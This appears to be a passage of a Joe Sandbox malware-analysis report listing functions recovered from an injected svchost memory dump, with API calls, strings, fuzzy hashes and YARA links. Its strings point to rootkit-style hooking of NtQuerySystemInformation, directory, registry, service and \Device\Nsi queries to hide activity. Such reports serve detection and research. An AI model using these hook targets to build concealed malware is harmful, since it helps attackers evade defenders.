lstrlenW.KERNEL32 ref: 0000026A879C2E0A

Part of subcall function 0000026A879C199C: OpenProcess.KERNEL32 ref: 0000026A879C19C2
Part of subcall function 0000026A879C199C: K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C19E0
Part of subcall function 0000026A879C199C: PathFindFileNameW.SHLWAPI ref: 0000026A879C19EF
Part of subcall function 0000026A879C199C: lstrlenW.KERNEL32 ref: 0000026A879C19FB
Part of subcall function 0000026A879C199C: StrCpyW.SHLWAPI ref: 0000026A879C1A0E
Part of subcall function 0000026A879C199C: CloseHandle.KERNEL32 ref: 0000026A879C1A1C

GetProcAddress.KERNEL32 ref: 0000026A879C2BE5

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

Part of subcall function 0000026A879C3844: StrCmpNIW.SHLWAPI ref: 0000026A879C385C

StrCmpNIW.SHLWAPI ref: 0000026A879C2C28
lstrlenW.KERNEL32 ref: 0000026A879C2D50

Strings

ntdll.dll, xrefs: 0000026A879C2BC9
\Device\Nsi, xrefs: 0000026A879C2C1B
NtQueryObject, xrefs: 0000026A879C2BDB

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 28832ac34e84ece53f7b50bb78eaf8a37b486e288825972d32e086a5872c7075
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 42B17A76210A9082EFE8DF25D4487AD77A5FB94B84F445026EE0977798EF36CC80CB42

Function 0000026A879C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000026A879C7DAC
RtlCaptureContext.NTDLL ref: 0000026A879C7DD9
RtlLookupFunctionEntry.NTDLL ref: 0000026A879C7DF3
RtlVirtualUnwind.NTDLL ref: 0000026A879C7E34
IsDebuggerPresent.KERNEL32 ref: 0000026A879C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879C7EB4

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 938e5285386ac3705a1524c506204be3636963da77c64c4e1ce6b6d8eddc6828
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 50315072205B808AEBA0DF60E8847ED7B64F785744F44442AEB4D67B98EF39C548CB11

Function 0000026A879CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000026A879CD31D
RtlLookupFunctionEntry.NTDLL ref: 0000026A879CD335
RtlVirtualUnwind.NTDLL ref: 0000026A879CD370
IsDebuggerPresent.KERNEL32 ref: 0000026A879CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879CD3BE

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: d1d1b9292f01f4f5fbfa14a2dc646865464e2607e4ff46e76a86c3c994235719
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: DC318132214F8086EBA0DF25E88439E7BA4F7C9798F540126EA9D53B98EF39C545CF01

Function 0000026A879C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1319
GetProcessHeap.KERNEL32 ref: 0000026A879C1327
HeapAlloc.KERNEL32 ref: 0000026A879C1338
RegEnumValueW.ADVAPI32 ref: 0000026A879C1397

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

GetProcessHeap.KERNEL32 ref: 0000026A879C13DF
HeapAlloc.KERNEL32 ref: 0000026A879C13ED
GetProcessHeap.KERNEL32 ref: 0000026A879C140A
HeapFree.KERNEL32 ref: 0000026A879C1418
lstrlenW.KERNEL32 ref: 0000026A879C1421
GetProcessHeap.KERNEL32 ref: 0000026A879C142F
HeapAlloc.KERNEL32 ref: 0000026A879C143D
StrCpyW.SHLWAPI ref: 0000026A879C145F
GetProcessHeap.KERNEL32 ref: 0000026A879C1476
HeapFree.KERNEL32 ref: 0000026A879C1484

Strings

d, xrefs: 0000026A879C135A

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 07cfe981894990384c0c086665b30c926e9edc38e061a20603f020415e03ff94
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 70514A76204B8486EB94CF62E54835EBFA1F78AFD9F048124EA4A57758EF3DC049CB01

Function 0000026A879C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000026A879C1D1F

Part of subcall function 0000026A879C1FD4: GetModuleHandleA.KERNEL32 ref: 0000026A879C1FEC
Part of subcall function 0000026A879C1FD4: GetProcAddress.KERNEL32 ref: 0000026A879C1FFD

Part of subcall function 0000026A879C5B30: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5B6B

Strings

EnumServiceGroupW, xrefs: 0000026A879C1DF0
NtResumeThread, xrefs: 0000026A879C1D62
ntdll.dll, xrefs: 0000026A879C1D2D
NtEnumerateValueKey, xrefs: 0000026A879C1DD6
NtQueryDirectoryFileEx, xrefs: 0000026A879C1D9C
sechost.dll, xrefs: 0000026A879C1E39
EnumServicesStatusExW, xrefs: 0000026A879C1E11, 0000026A879C1E32
NtDeviceIoControlFile, xrefs: 0000026A879C1E56
NtQueryDirectoryFile, xrefs: 0000026A879C1D7F
advapi32.dll, xrefs: 0000026A879C1DF7, 0000026A879C1E18
NtQuerySystemInformation, xrefs: 0000026A879C1D45
NtEnumerateKey, xrefs: 0000026A879C1DB9

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: dfe63a10a49480e1aef6057fb1ce33c2d81f6763df8e5d6cfa68f1b74ee8636c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: EF31C8B5144A4AA0FE94EF65E85A7EC3B24F784348FC04013954933176AFBEC289CF92

Function 0000026A87996910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A87996938
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A8799698A
_RTC_Initialize.LIBCMT ref: 0000026A879969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A879969DE
__scrt_release_startup_lock.LIBCMT ref: 0000026A87996A09

Strings

scriptor', xrefs: 0000026A87996B39, 0000026A87996BB2, 0000026A87996BEC
`eh vector copy constructor iterator', xrefs: 0000026A87996A3B
`eh vector vbase copy constructor iterator', xrefs: 0000026A879969EE
`dynamic initializer for ', xrefs: 0000026A879969C7

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: b047a768bb49e332fa12a0d509f504b7dc68172f8f015219012fb81a31179565
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: DB81D23170524186FBD0EF65944D39D72E1EB87780F588425AA0977796EF3BC9868F03

Function 0000026A879CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000026A879CCE37
FlsGetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCE4C
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCE6D
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCE9A
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCEAB
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCEBC
SetLastError.KERNEL32 ref: 0000026A879CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF0D
FlsSetValue.KERNEL32(?,?,00000001,0000026A879CECCC,?,?,?,?,0000026A879CBF9F,?,?,?,?,?,0000026A879C7AB0), ref: 0000026A879CCF2C

Part of subcall function 0000026A879CD6CC: HeapAlloc.KERNEL32 ref: 0000026A879CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF54

Part of subcall function 0000026A879CD744: HeapFree.KERNEL32 ref: 0000026A879CD75A
Part of subcall function 0000026A879CD744: GetLastError.KERNEL32 ref: 0000026A879CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF76

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: fbbfd203b105abf8085660589179a2c6459f60e277cac02fd6d43f7fad114619
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: F941B13234164882FEF8A735565E37D36965BC67B0F640724A936377E6EE2BC8019E03

Function 0000026A879C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000026A879C2259
GetCurrentProcessId.KERNEL32 ref: 0000026A879C2263

Part of subcall function 0000026A879C1934: OpenProcess.KERNEL32 ref: 0000026A879C1952
Part of subcall function 0000026A879C1934: IsWow64Process.KERNEL32 ref: 0000026A879C1968
Part of subcall function 0000026A879C1934: CloseHandle.KERNEL32 ref: 0000026A879C1983

CreateFileW.KERNEL32 ref: 0000026A879C22BC
WriteFile.KERNEL32 ref: 0000026A879C22E4
ReadFile.KERNEL32 ref: 0000026A879C2303
CloseHandle.KERNEL32 ref: 0000026A879C230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000026A879C228C
\\.\pipe\dialerchildproc32, xrefs: 0000026A879C2293

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: b02012d5428b01c1f3b2143805af3d2ef8a5ba1a4c44cc927d8b5d08adb94f93
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 8C213836618A4082EB50CB25F44836E7BA1F78ABE4F544215EA5913AA8DF7DC189CF02

Function 0000026A87999944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000026A879999A1

Part of subcall function 0000026A8799A814: __GetUnwindTryBlock.LIBCMT ref: 0000026A8799A857
Part of subcall function 0000026A8799A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000026A8799A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000026A87999A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000026A87999CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000026A87999DDA

Strings

csm, xrefs: 0000026A87999A22
csm, xrefs: 0000026A87999A9C
csm, xrefs: 0000026A879999BB

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 1f6ce65c737b67c16a74770dcca6a547431568ee9d47403595349a7bcceb887e
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 97E1D572605B408AFBA0DF65D48839D77B4F7A97A8F100116EE8D67B99DB36C091CF02

Function 0000026A879CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000026A879CA5A1

Part of subcall function 0000026A879CB414: __GetUnwindTryBlock.LIBCMT ref: 0000026A879CB457
Part of subcall function 0000026A879CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000026A879CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000026A879CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000026A879CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000026A879CA9DA

Strings

csm, xrefs: 0000026A879CA5BB
csm, xrefs: 0000026A879CA622
csm, xrefs: 0000026A879CA69C

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 444f81f33de08ab68ee44032b3efa5b7945037919697de8df49d031d9224469b
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: E2E1C172604B80CAEFA0DF65D58939D77A0F799BA8F100116EE8967B99CB35C581CF02

Function 0000026A879CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000026A879CF510
GetProcAddress.KERNEL32 ref: 0000026A879CF51C

Strings

ext-ms-, xrefs: 0000026A879CF46D
api-ms-, xrefs: 0000026A879CF45A

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: e22ce2f0d6908cfb41650f8e3b1f78ec9287b8d585868ecd0f1c06e4ba5b9ad5
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 5D41E633311A0091FE96DB56A80CB5D3BA6F785BE0F5941299D0DAB784EE3AC4458B02

Function 0000026A879C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C10B1
RegEnumValueW.ADVAPI32 ref: 0000026A879C1117
GetProcessHeap.KERNEL32 ref: 0000026A879C115A
HeapAlloc.KERNEL32 ref: 0000026A879C1168
GetProcessHeap.KERNEL32 ref: 0000026A879C1185
HeapFree.KERNEL32 ref: 0000026A879C1193

Strings

d, xrefs: 0000026A879C10D6

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: f1e6073484f6787d024fb048a9424189236bd7d4ebebf72dc42381622d64dea6
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 76417173214B84C6EBA0CF61E44839E7BA1F389B98F448129EA8917758EF3DC585CB01

Function 0000026A879CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD087
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0A6
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0CE
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0DF
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0F0

Strings

Y%, xrefs: 0000026A879CD0A6
1%, xrefs: 0000026A879CD0CE

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 7de55e3907eeb61d84b2ec02f2a106e95853d66b6f36fb83176ce734d1449b23
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: EC11823170868481FEF8A7395A5E37D715A5BC47F0F644324A839277EAEE6AC5028F02

Function 0000026A879C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A879C7538
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A879C758A
_RTC_Initialize.LIBCMT ref: 0000026A879C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A879C75DE
__scrt_release_startup_lock.LIBCMT ref: 0000026A879C7609

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 4ecf39c6d282c13922bf66bcab5b528d166167323d1dc1c22cdb0ae5698a6f63
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CA81D43160064186FFD0AB2AA94D3AD7B90ABC97C0F5C4425EA4877796EB7BC9458F03

Function 0000026A879C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000026A879C9E49
GetLastError.KERNEL32 ref: 0000026A879C9E57
LoadLibraryExW.KERNEL32 ref: 0000026A879C9E81
FreeLibrary.KERNEL32 ref: 0000026A879C9EC7
GetProcAddress.KERNEL32 ref: 0000026A879C9ED3

Strings

api-ms-, xrefs: 0000026A879C9E69

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 95f3983436fef2e635cbbbb6f4cfe75cb904a5ec283e5a170f3328164d622b80
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: FE312731316A00E1EF92DB46A80875C3BA4B7A9BB0F590525DD2E2B390EF3AC145CB02

Function 0000026A879D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000026A879D3DE5
GetLastError.KERNEL32 ref: 0000026A879D3DF1
CloseHandle.KERNEL32 ref: 0000026A879D3E09
CreateFileW.KERNEL32 ref: 0000026A879D3E34
WriteConsoleW.KERNEL32 ref: 0000026A879D3E53

Strings

CONOUT$, xrefs: 0000026A879D3E15

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: b5a7c8e5866d3be681c7c72b6341fd08360724eb52cb5406520433ec029d227b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: A6116D32310B4086E7E0DB56F84831DBEA0F789FE5F444224EA5E97794DF79C8148B41

Function 0000026A879C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026A879C379E
GetCurrentProcess.KERNEL32 ref: 0000026A879C37CC
VirtualProtectEx.KERNEL32 ref: 0000026A879C37EE
GetCurrentProcess.KERNEL32 ref: 0000026A879C3809
VirtualProtectEx.KERNEL32 ref: 0000026A879C382A

Strings

wr, xrefs: 0000026A879C37FF

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d5baf2fdec3915ccb6d5ba03a26523055d6eaf36c073b9562141c2a23a4540a2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 91115B36704B4182EF949B62F50826D7AB0FB8ABC5F440029EE8D27794EF3EC505CB06

Function 0000026A879C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5B6B
GetThreadContext.KERNEL32 ref: 0000026A879C5CD5

Part of subcall function 0000026A879C5960: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5964

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: d9bcf84c3bd1533dc594d755c904efc893949546bab9f2d4fefad5fd87b2f6ed
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 23D18776208B8882DBB0DB0AE49835E7BA0F3D8B84F540116EA8D57BA9DF7DC541CF41

Function 0000026A879C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C2F27
HeapAlloc.KERNEL32 ref: 0000026A879C2F3A
